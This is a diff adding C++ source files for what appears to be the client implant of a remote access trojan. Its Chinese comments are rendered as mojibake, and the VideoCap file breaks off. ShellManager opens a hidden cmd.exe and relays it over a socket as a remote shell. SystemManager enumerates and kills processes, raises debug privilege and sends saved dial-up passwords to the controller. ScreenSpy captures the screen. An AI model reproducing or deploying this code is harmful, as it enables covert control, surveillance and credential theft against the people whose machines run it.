|
||||
nCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
|
||||
|
||||
nCount += 4;
|
||||
i += 4, p1++, p2++;
|
||||
|
||||
for (int j = i; j < dwSize; j += 4, i += 4, p1++, p2++)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
break;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
|
||||
nCount += 4;
|
||||
}
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
*(LPDWORD)(lpBuffer + nBytesOffset) = nCount;
|
||||
nOffsetOffset = nDataOffset + nCount;
|
||||
}
|
||||
|
||||
// nOffsetOffset <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD>С
|
||||
return nOffsetOffset;
|
||||
|
||||
// <09>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶȻ<D9B6>û<EFBFBD><C3BB>C<EFBFBD>㷨<EFBFBD>죬<EFBFBD><ECA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// int Bytes = 0;
|
||||
// __asm
|
||||
// {
|
||||
// mov esi, [lpSource]
|
||||
// mov edi, [lpDest]
|
||||
// mov ebx, [lpBuffer]
|
||||
// xor ecx, ecx
|
||||
// jmp short Loop_Compare // <20><>ʼ<EFBFBD><CABC><EFBFBD>бȽ<D0B1>
|
||||
// Loop_Compare_Continue:
|
||||
// mov eax, dword ptr [esi]
|
||||
// cmp eax, dword ptr [edi]
|
||||
// je short Loop_Compare_Equal // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD>
|
||||
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
|
||||
// mov edx, ebx // edx <20><>¼<EFBFBD><C2BC>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
|
||||
// mov dword ptr [ebx], ecx
|
||||
// add ebx, 8
|
||||
// mov dword ptr [ebx], eax
|
||||
// add ebx, 4
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// jmp short Loop_Block_Compare // <20><><EFBFBD>ݲ<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>飬<EFBFBD><E9A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>бȽ<D0B1>
|
||||
// Loop_Block_Compare_Continue:
|
||||
// mov eax, dword ptr [esi]
|
||||
// cmp eax, dword ptr [edi]
|
||||
// jnz short Loop_Block_Compare_Not_Equal // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD>ȣ<EFBFBD>д<EFBFBD><D0B4>
|
||||
// mov eax, ecx
|
||||
// sub eax, dword ptr [edx]
|
||||
// add edx, 4
|
||||
// mov dword ptr [edx], eax
|
||||
// add eax, 8
|
||||
// add [Bytes], eax
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// jmp short Loop_Block_Compare_Finish
|
||||
// Loop_Block_Compare_Not_Equal:
|
||||
// mov dword ptr [ebx], eax
|
||||
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
|
||||
// add ebx, 4
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// Loop_Block_Compare:
|
||||
// cmp ecx, [dwSize]
|
||||
// jb short Loop_Block_Compare_Continue
|
||||
// Loop_Block_Compare_Finish:
|
||||
// cmp ecx, [dwSize]
|
||||
// jnz short Loop_Compare
|
||||
// mov eax, ecx
|
||||
// sub eax, dword ptr [edx]
|
||||
// add edx, 4
|
||||
// mov dword ptr [edx], eax
|
||||
// add eax, 8
|
||||
// add [Bytes], eax
|
||||
// jmp short Loop_Compare
|
||||
// Loop_Compare_Equal:
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// Loop_Compare:
|
||||
// cmp ecx, [dwSize]
|
||||
// jb short Loop_Compare_Continue
|
||||
// }
|
||||
// return Bytes;
|
||||
}
|
64
CcMainDll/CcMainDll/common/ScreenSpy.h
Normal file
64
CcMainDll/CcMainDll/common/ScreenSpy.h
Normal file
@@ -0,0 +1,64 @@
|
||||
// ScreenSpy.h: interface for the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
|
||||
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
|
||||
#include <windows.h>
|
||||
#include "..\..\..\common\CursorInfo.h"
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
#define ALGORITHM_SCAN 1 // <20>ٶȺܿ죬<DCBF><ECA3AC><EFBFBD><EFBFBD>Ƭ̫<C6AC><CCAB>
|
||||
#define ALGORITHM_DIFF 2 // <20>ٶȺ<D9B6><C8BA><EFBFBD><EFBFBD><EFBFBD>ҲռCPU<50><55><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1>
|
||||
|
||||
class CScreenSpy
|
||||
{
|
||||
public:
|
||||
CScreenSpy(int biBitCount= 8, bool bIsGray= false, UINT nMaxFrameRate = 100);
|
||||
virtual ~CScreenSpy();
|
||||
LPVOID getFirstScreen();
|
||||
LPVOID getNextScreen(LPDWORD lpdwBytes);
|
||||
|
||||
void setAlgorithm(UINT nAlgorithm);
|
||||
LPBITMAPINFO getBI();
|
||||
UINT getBISize();
|
||||
UINT getFirstImageSize();
|
||||
void setCaptureLayer(bool bIsCaptureLayer);
|
||||
private:
|
||||
BYTE m_bAlgorithm;
|
||||
UINT m_nMaxFrameRate;
|
||||
bool m_bIsGray;
|
||||
DWORD m_dwBitBltRop;
|
||||
DWORD m_dwLastCapture;
|
||||
DWORD m_dwSleep;
|
||||
LPBYTE m_rectBuffer;
|
||||
UINT m_rectBufferOffset;
|
||||
BYTE m_nIncSize;
|
||||
int m_nFullWidth, m_nFullHeight, m_nStartLine;
|
||||
RECT m_changeRect;
|
||||
HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
|
||||
HBITMAP m_hLineBitmap, m_hFullBitmap;
|
||||
LPVOID m_lpvLineBits, m_lpvFullBits;
|
||||
LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
|
||||
int m_biBitCount;
|
||||
int m_nDataSizePerLine;
|
||||
|
||||
LPVOID m_lpvDiffBits; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƚϵ<C8BD><CFB5><EFBFBD>һ<EFBFBD><D2BB>
|
||||
HDC m_hDiffDC, m_hDiffMemDC;
|
||||
HBITMAP m_hDiffBitmap;
|
||||
|
||||
CCursorInfo m_CursorInfo;
|
||||
void ScanScreen(HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight); // <20><><EFBFBD><EFBFBD>CPU
|
||||
int Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize);
|
||||
LPBITMAPINFO ConstructBI(int biBitCount, int biWidth, int biHeight);
|
||||
void WriteRectBuffer(LPBYTE lpData, int nCount);
|
||||
bool ScanChangedRect(int nStartLine);
|
||||
void CopyRect(LPRECT lpRect);
|
||||
bool SelectInputWinStation();
|
||||
HWND m_hDeskTopWnd;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
|
148
CcMainDll/CcMainDll/common/ShellManager.cpp
Normal file
148
CcMainDll/CcMainDll/common/ShellManager.cpp
Normal file
@@ -0,0 +1,148 @@
|
||||
// ShellManager.cpp: implementation of the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "ShellManager.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sa = {0};
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
|
||||
m_hReadPipeHandle = NULL;
|
||||
m_hWritePipeHandle = NULL;
|
||||
m_hReadPipeShell = NULL;
|
||||
m_hWritePipeShell = NULL;
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE;
|
||||
|
||||
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||
{
|
||||
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
|
||||
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
|
||||
return;
|
||||
}
|
||||
|
||||
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
|
||||
{
|
||||
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
|
||||
if(m_hReadPipeShell != NULL) CloseHandle(m_hReadPipeShell);
|
||||
return;
|
||||
}
|
||||
|
||||
memset((void *)&si, 0, sizeof(si));
|
||||
memset((void *)&pi, 0, sizeof(pi));
|
||||
|
||||
GetStartupInfo(&si);
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.hStdInput = m_hReadPipeShell;
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||
|
||||
GetSystemDirectory(strShellPath, MAX_PATH);
|
||||
strcat(strShellPath,"\\cmd.exe");
|
||||
|
||||
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
||||
{
|
||||
CloseHandle(m_hReadPipeHandle);
|
||||
CloseHandle(m_hWritePipeHandle);
|
||||
CloseHandle(m_hReadPipeShell);
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
return;
|
||||
}
|
||||
m_hProcessHandle = pi.hProcess;
|
||||
m_hThreadHandle = pi.hThread;
|
||||
|
||||
BYTE bToken = TOKEN_SHELL_START;
|
||||
Send((LPBYTE)&bToken, 1);
|
||||
WaitForDialogOpen();
|
||||
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
TerminateThread(m_hThreadRead, 0);
|
||||
TerminateProcess(m_hProcessHandle, 0);
|
||||
TerminateThread(m_hThreadHandle, 0);
|
||||
WaitForSingleObject(m_hThreadMonitor, 2000);
|
||||
TerminateThread(m_hThreadMonitor, 0);
|
||||
|
||||
if (m_hReadPipeHandle != NULL)
|
||||
DisconnectNamedPipe(m_hReadPipeHandle);
|
||||
if (m_hWritePipeHandle != NULL)
|
||||
DisconnectNamedPipe(m_hWritePipeHandle);
|
||||
if (m_hReadPipeShell != NULL)
|
||||
DisconnectNamedPipe(m_hReadPipeShell);
|
||||
if (m_hWritePipeShell != NULL)
|
||||
DisconnectNamedPipe(m_hWritePipeShell);
|
||||
|
||||
CloseHandle(m_hReadPipeHandle);
|
||||
CloseHandle(m_hWritePipeHandle);
|
||||
CloseHandle(m_hReadPipeShell);
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
|
||||
CloseHandle(m_hProcessHandle);
|
||||
CloseHandle(m_hThreadHandle);
|
||||
CloseHandle(m_hThreadMonitor);
|
||||
CloseHandle(m_hThreadRead);
|
||||
}
|
||||
|
||||
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
||||
{
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned long ByteWrite;
|
||||
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
|
||||
}
|
||||
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
||||
{
|
||||
unsigned long BytesRead = 0;
|
||||
char ReadBuff[1024];
|
||||
DWORD TotalBytesAvail;
|
||||
CShellManager *pThis = (CShellManager *)lparam;
|
||||
while (1)
|
||||
{
|
||||
Sleep(100);
|
||||
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
|
||||
{
|
||||
if (BytesRead <= 0)
|
||||
break;
|
||||
memset(ReadBuff, 0, sizeof(ReadBuff));
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
|
||||
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->Send(lpBuffer, BytesRead);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
|
||||
{
|
||||
CShellManager *pThis = (CShellManager *)lparam;
|
||||
HANDLE hThread[2];
|
||||
hThread[0] = pThis->m_hProcessHandle;
|
||||
hThread[1] = pThis->m_hThreadRead;
|
||||
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
|
||||
TerminateThread(pThis->m_hThreadRead, 0);
|
||||
TerminateProcess(pThis->m_hProcessHandle, 1);
|
||||
pThis->m_pClient->Disconnect();
|
||||
return 0;
|
||||
}
|
35
CcMainDll/CcMainDll/common/ShellManager.h
Normal file
35
CcMainDll/CcMainDll/common/ShellManager.h
Normal file
@@ -0,0 +1,35 @@
|
||||
// ShellManager.h: interface for the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
|
||||
#define AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
CShellManager(CClientSocket *pClient);
|
||||
virtual ~CShellManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
private:
|
||||
HANDLE m_hReadPipeHandle;
|
||||
HANDLE m_hWritePipeHandle;
|
||||
HANDLE m_hReadPipeShell;
|
||||
HANDLE m_hWritePipeShell;
|
||||
|
||||
HANDLE m_hProcessHandle;
|
||||
HANDLE m_hThreadHandle;
|
||||
HANDLE m_hThreadRead;
|
||||
HANDLE m_hThreadMonitor;
|
||||
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
|
||||
static DWORD WINAPI MonitorThread(LPVOID lparam);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
|
256
CcMainDll/CcMainDll/common/SystemManager.cpp
Normal file
256
CcMainDll/CcMainDll/common/SystemManager.cpp
Normal file
@@ -0,0 +1,256 @@
|
||||
// SystemManager.cpp: implementation of the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "SystemManager.h"
|
||||
#include "Dialupass.h"
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
#include <iphlpapi.h>
|
||||
#pragma comment(lib,"Iphlpapi.lib")
|
||||
#pragma comment(lib,"Psapi.lib")
|
||||
|
||||
#include "until.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
{
|
||||
|
||||
}
|
||||
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
SwitchInputDesktop();
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_PSLIST:
|
||||
SendProcessList();
|
||||
break;
|
||||
case COMMAND_WSLIST:
|
||||
SendWindowsList();
|
||||
break;
|
||||
case COMMAND_DIALUPASS:
|
||||
SendDialupassList();
|
||||
break;
|
||||
case COMMAND_KILLPROCESS:
|
||||
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CSystemManager::SendProcessList()
|
||||
{
|
||||
UINT nRet = -1;
|
||||
LPBYTE lpBuffer = getProcessList();
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CSystemManager::SendWindowsList()
|
||||
{
|
||||
UINT nRet = -1;
|
||||
LPBYTE lpBuffer = getWindowsList();
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CSystemManager::SendDialupassList()
|
||||
{
|
||||
CDialupass pass;
|
||||
|
||||
int nPacketLen = 0;
|
||||
int i = 0;
|
||||
for (i = 0; i < pass.GetMax(); i++)
|
||||
{
|
||||
COneInfo *pOneInfo = pass.GetOneInfo(i);
|
||||
for (int j = 0; j < STR_MAX; j++)
|
||||
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
|
||||
}
|
||||
|
||||
nPacketLen += 1;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
|
||||
for (i = 0; i < pass.GetMax(); i++)
|
||||
{
|
||||
|
||||
COneInfo *pOneInfo = pass.GetOneInfo(i);
|
||||
for (int j = 0; j < STR_MAX; j++)
|
||||
{
|
||||
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
|
||||
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
|
||||
dwOffset += nFieldLength;
|
||||
}
|
||||
}
|
||||
|
||||
lpBuffer[0] = TOKEN_DIALUPASS;
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
}
|
||||
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
HANDLE hProcess = NULL;
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||||
|
||||
for (int i = 0; i < nSize; i += 4)
|
||||
{
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i));
|
||||
TerminateProcess(hProcess, 0);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||||
// <20><><EFBFBD><EFBFBD>Sleep<65>£<EFBFBD><C2A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD>
|
||||
Sleep(100);
|
||||
// ˢ<>½<EFBFBD><C2BD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendProcessList();
|
||||
// ˢ<>´<EFBFBD><C2B4><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendWindowsList();
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::getProcessList()
|
||||
{
|
||||
HANDLE hSnapshot = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
HMODULE hModules = NULL;
|
||||
PROCESSENTRY32 pe32 = {0};
|
||||
DWORD cbNeeded;
|
||||
char strProcessName[MAX_PATH] = {0};
|
||||
LPBYTE lpBuffer = NULL;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwLength = 0;
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||||
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
if(hSnapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
|
||||
|
||||
lpBuffer[0] = TOKEN_PSLIST;
|
||||
dwOffset = 1;
|
||||
|
||||
if(Process32First(hSnapshot, &pe32))
|
||||
{
|
||||
do
|
||||
{
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
|
||||
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
|
||||
{
|
||||
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||||
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
|
||||
|
||||
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
|
||||
dwOffset += sizeof(DWORD);
|
||||
|
||||
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
|
||||
dwOffset += lstrlen(pe32.szExeFile) + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
|
||||
dwOffset += lstrlen(strProcessName) + 1;
|
||||
}
|
||||
}
|
||||
while(Process32Next(hSnapshot, &pe32));
|
||||
}
|
||||
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||||
CloseHandle(hSnapshot);
|
||||
return lpBuffer;
|
||||
}
|
||||
|
||||
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
|
||||
{
|
||||
BOOL bResult = TRUE;
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES TokenPrivileges;
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
bResult = FALSE;
|
||||
return bResult;
|
||||
}
|
||||
TokenPrivileges.PrivilegeCount = 1;
|
||||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
|
||||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
if (GetLastError() != ERROR_SUCCESS)
|
||||
{
|
||||
bResult = FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
void CSystemManager::ShutdownWindows( DWORD dwReason )
|
||||
{
|
||||
DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
|
||||
ExitWindowsEx(dwReason, 0);
|
||||
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
|
||||
}
|
||||
|
||||
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
{
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwProcessID = 0;
|
||||
LPBYTE lpBuffer = *(LPBYTE *)lParam;
|
||||
|
||||
char strTitle[1024];
|
||||
memset(strTitle, 0, sizeof(strTitle));
|
||||
GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
|
||||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||||
return true;
|
||||
|
||||
|
||||
if (lpBuffer == NULL)
|
||||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
|
||||
dwOffset = LocalSize(lpBuffer);
|
||||
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
|
||||
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
|
||||
|
||||
*(LPBYTE *)lParam = lpBuffer;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::getWindowsList()
|
||||
{
|
||||
LPBYTE lpBuffer = NULL;
|
||||
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
|
||||
lpBuffer[0] = TOKEN_WSLIST;
|
||||
return lpBuffer;
|
||||
}
|
33
CcMainDll/CcMainDll/common/SystemManager.h
Normal file
33
CcMainDll/CcMainDll/common/SystemManager.h
Normal file
@@ -0,0 +1,33 @@
|
||||
// SystemManager.h: interface for the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
||||
#define AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(CClientSocket *pClient);
|
||||
virtual ~CSystemManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
|
||||
static bool DebugPrivilege(const char *PName,BOOL bEnable);
|
||||
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
|
||||
static void ShutdownWindows(DWORD dwReason);
|
||||
private:
|
||||
LPBYTE getProcessList();
|
||||
LPBYTE getWindowsList();
|
||||
void SendProcessList();
|
||||
void SendWindowsList();
|
||||
void SendDialupassList();
|
||||
void KillProcess(LPBYTE lpBuffer, UINT nSize);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
172
CcMainDll/CcMainDll/common/VideoCap.cpp
Normal file
172
CcMainDll/CcMainDll/common/VideoCap.cpp
Normal file
@@ -0,0 +1,172 @@
|
||||
// VideoCap.cpp: implementation of the CVideoCap class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "VideoCap.h"
|
||||
//#include "..\DynamicAPI.h"
|
||||
#include "..\DynamicAPI.h"
|
||||
